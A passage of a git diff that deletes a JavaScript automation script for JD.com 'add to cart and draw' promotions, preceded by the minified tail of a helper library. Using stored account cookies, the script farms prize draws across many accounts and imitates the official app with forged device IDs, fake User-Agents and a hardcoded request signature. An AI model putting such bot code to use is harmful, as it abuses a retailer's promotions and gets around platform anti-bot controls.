e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_wxCollectionActivity.js b/activity/jd_wxCollectionActivity.js deleted file mode 100644 index 5b52168..0000000 --- a/activity/jd_wxCollectionActivity.js +++ /dev/null @@ -1,552 +0,0 @@ -/* -https://lzkj-isv.isvjcloud.com/wxgame/activity/8530275?activityId= - -TG https://t.me/duckjobs - -不能并发 - -JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 -JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 - -*/ -const $ = new Env('加购物车抽奖'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = '' ,isPush = false; -let activityIdList = ['11b4d4d13fa24062bb0cb45c0abd3301', 'f0ffa62f09f6447b8fcfddaeafd15810', '421c0b9e90f2423d8ef980c2508bc7b2', 'c475a9c7b08545b9b359d1a97f14ec8c', '47d527740de74ed88f65e946b4d0500a', '4363aec53aac44309e8afa5cf58ce950'] -let lz_cookie = {} - -if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { - activityId = process.env.ACTIVITY_ID; -} - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -let doPush = process.env.DoPush || false; // 设置为 false 每次推送, true 跑完了推送 -let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 -let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 -$.keywords = process.env.JD_CART_KEYWORDS || [] -$.keywordsNum = 0; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - // activityIdList = await getActivityIdList('https://raw.githubusercontent.com/FKPYW/dongge/master/code/wxCollectionActivity.json') - for(let a in activityIdList){ - activityId = activityIdList[a]; - console.log("开起第 "+ a +" 个活动,活动id:"+activityId) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - '', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = activityId - $.activityUrl = `https://lzkj-isv.isvjcloud.com/wxCollectionActivity/activity2/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&sid=&un_area=` - $.drawInfoName = false - $.getPrize = null; - await addCart(); - if($.drawInfoName === false || $.getPrize === null){ - break - } else if($.getPrize != null && !$.getPrize.includes("京豆")){ - break - } - await $.wait(2000) - // await requireConfig(); - // do { - // await getCart_xh(); - // $.keywordsNum = 0 - // if($.beforeRemove !== "0"){ - // await cartFilter_xh(venderCart); - // if(parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); - // else { - // console.log('由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') - // break; - // } - // } else break; - // } while(isRemoveAll && $.keywordsNum !== $.beforeRemove) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - await $.wait(3000) - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function addCart() { - $.token = null; - $.secretPin = null; - $.venderId = null; - await getFirstLZCK() - await getToken(); - await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - await task('common/accessLogWithAD', `venderId=${$.venderId}&code=6&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); - // await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - if ($.activityContent.drawInfo.name.includes("京豆")) { - $.log("-> 加入购物车") - for(let i in $.activityContent.cpvos){ - await $.wait(1000) - await task('addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&productId=${$.activityContent.cpvos[i].skuId}`) - } - $.log("-> 抽奖") - await $.wait(1000) - await task('getPrize', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - } else { - $.log("未能成功获取到活动信息") - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (resp['headers']['set-cookie']) { - cookie = `${originCookie};` - for (let sk of resp['headers']['set-cookie']) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + '=' + lz_cookie[vo] + ';' - } - } - if (data.result) { - switch (function_id) { - case 'customer/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityShopId = data.data.venderId; - break; - case 'activityContent': - $.activityContent = data.data; - $.drawInfoName = $.activityContent.drawInfo.name.includes("京豆") - break; - case 'addCart': - console.log(data.data) - break - case 'getPrize': - console.log(data.data.name) - $.getPrize = data.data.name; - if (doPush === true) { - if (data.data.name) { - message += data.data.name + " " - } - } else { - // await notify.sendNotify($.name, data.data.name, '', `\n`); - } - break - default: - $.log(JSON.stringify(data)) - break; - } - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzkj-isv.isvjcloud.com/${function_id}` : `https://lzkj-isv.isvjcloud.com/wxCollectionActivity/${function_id}`, - headers: { - Host: 'lzkj-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkj-isv.isvjcloud.comm', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzkj-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkj-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie};` - for (let sk of resp['headers']['set-cookie']) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + '=' + lz_cookie[vo] + ';' - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie};` - for (let sk of resp['headers']['set-cookie']) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + '=' + lz_cookie[vo] + ';' - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function requireConfig(){ - return new Promise(resolve => { - if($.isNode() && process.env.JD_CART){ - if(process.env.JD_CART_KEYWORDS){ - $.keywords = process.env.JD_CART_KEYWORDS.split('@') - } - } - resolve() - }) -} -function getCart_xh(){ - console.log('正在获取购物车数据...') - return new Promise((resolve) => { - const option = { - url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', - headers: { - "Cookie": cookie, - "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", - }, - } - $.get(option, async(err, resp, data) => { - try{ - data = JSON.parse(getSubstr(data, "window.cartData = ", "window._PFM_TIMING")); - $.areaId = data.areaId; // locationId的传值 - $.traceId = data.traceId; // traceid的传值 - venderCart = data.cart.venderCart; - postBody = 'pingouchannel=0&commlist='; - $.beforeRemove = data.cartJson.num - console.log(`获取到购物车数据 ${$.beforeRemove} 条`) - } catch(e){ - $.logErr(e, resp); - } finally{ - resolve(data); - } - }); - }) -} -function cartFilter_xh(cartData){ - console.log("正在整理数据...") - let pid; - $.pushed = 0 - for(let cartJson of cartData){ - if($.pushed === removeSize) break; - for(let sortedItem of cartJson.sortedItems){ - if($.pushed === removeSize) break; - pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" - for(let product of sortedItem.polyItem.products){ - if($.pushed === removeSize) break; - let mainSkuName = product.mainSku.name - $.isKeyword = false - $.isPush = true - for(let keyword of $.keywords){ - if(mainSkuName.indexOf(keyword) !== -1){ - $.keywordsNum += 1 - $.isPush = false - $.keyword = keyword; - break; - } else $.isPush = true - } - if($.isPush){ - let skuUuid = product.skuUuid; - let mainSkuId = product.mainSku.id - if(pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` - else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` - $.pushed += 1; - } else { - console.log(`\n${mainSkuName}`) - console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) - $.isKeyword = true - } - } - } - } - postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` -} -function removeCart(){ - console.log('正在删除购物车数据...') - return new Promise((resolve) => { - const option = { - url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', - body: postBody, - headers: { - "Cookie": cookie, - "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", - "referer": "https://p.m.jd.com/", - "origin": "https://p.m.jd.com/" - }, - } - $.post(option, async(err, resp, data) => { - try{ - data = JSON.parse(data); - $.afterRemove = data.cartJson.num - if($.afterRemove < $.beforeRemove){ - console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) - $.beforeRemove = $.afterRemove - } else { - console.log('删除失败') - console.log(data.errMsg) - isRemoveAll = false; - } - } catch(e){ - $.logErr(e, resp); - } finally{ - resolve(data); - } - }); - }) -} -function getSubstr(str, leftStr, rightStr){ - let left = str.indexOf(leftStr); - let right = str.indexOf(rightStr, left); - if(left < 0 || right < left) return ''; - return str.substring(left + leftStr.length, right); -} -function getActivityIdList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r 